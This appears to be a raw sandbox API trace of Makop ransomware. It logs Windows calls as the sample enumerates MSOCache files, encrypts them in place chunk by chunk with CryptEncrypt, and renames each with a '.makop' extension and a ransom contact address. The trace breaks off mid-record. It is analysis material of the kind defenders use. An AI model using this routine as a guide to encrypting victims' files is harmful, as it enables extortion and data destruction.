1 [0082.860] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.860] GetProcessHeap () returned 0x48a0000 [0082.860] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0082.860] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0082.860] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.860] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0082.860] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0082.860] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0082.861] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0082.861] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0082.861] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0082.861] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0082.861] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.861] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.861] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.875] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.878] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.878] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.880] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.880] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.880] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.880] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.892] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.895] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.895] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.902] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.902] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.902] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9ba300, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.902] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.910] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.912] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9ba300, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.912] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.914] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.914] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.915] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.915] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.915] SetEndOfFile (hFile=0x124) returned 1 [0082.924] GetProcessHeap () returned 0x48a0000 [0082.924] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0082.924] GetProcessHeap () returned 0x48a0000 [0082.924] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0082.924] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0082.924] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0082.925] CloseHandle (hObject=0x124) returned 1 [0082.926] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0082.926] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0082.926] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.927] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=12060672) returned 1 [0082.927] GetProcessHeap () returned 0x48a0000 [0082.927] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0082.927] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0082.927] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.927] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0082.927] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.927] GetProcessHeap () returned 0x48a0000 [0082.928] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0082.928] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0082.928] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.928] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0082.932] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0082.933] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0082.933] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0082.933] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0082.933] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0082.933] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0082.933] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.933] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.934] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.946] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.950] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.950] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.952] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.952] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.952] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.952] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.984] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.987] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.987] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.993] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.993] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.993] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.993] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0083.000] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0083.002] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.002] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0083.005] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.005] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0083.006] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0083.006] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.006] SetEndOfFile (hFile=0x124) returned 1 [0083.012] GetProcessHeap () returned 0x48a0000 [0083.012] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0083.012] GetProcessHeap () returned 0x48a0000 [0083.012] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0083.012] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0083.012] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0083.014] CloseHandle (hObject=0x124) returned 1 [0083.014] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0083.014] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0083.014] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.014] GetProcessHeap () returned 0x48a0000 [0083.014] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0083.015] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0083.015] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0083.015] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xd, lpOverlapped=0x0) returned 1 [0083.019] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0083.019] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0083.019] GetProcessHeap () returned 0x48a0000 [0083.019] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0083.019] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0083.019] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0083.019] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0083.019] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0083.019] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0083.020] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0083.020] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0083.021] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0083.021] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0083.021] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0083.021] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.021] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x2213, lpOverlapped=0x0) returned 1 [0083.022] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x2220, dwBufLen=0x2220 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x2220) returned 1 [0083.022] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.023] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x2220, lpOverlapped=0x0) returned 1 [0083.023] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0083.023] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.023] SetEndOfFile (hFile=0x124) returned 1 [0083.030] GetProcessHeap () returned 0x48a0000 [0083.030] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0083.030] GetProcessHeap () returned 0x48a0000 [0083.030] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0083.030] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0083.030] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0083.031] CloseHandle (hObject=0x124) returned 1 [0083.031] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0083.031] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0083.031] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 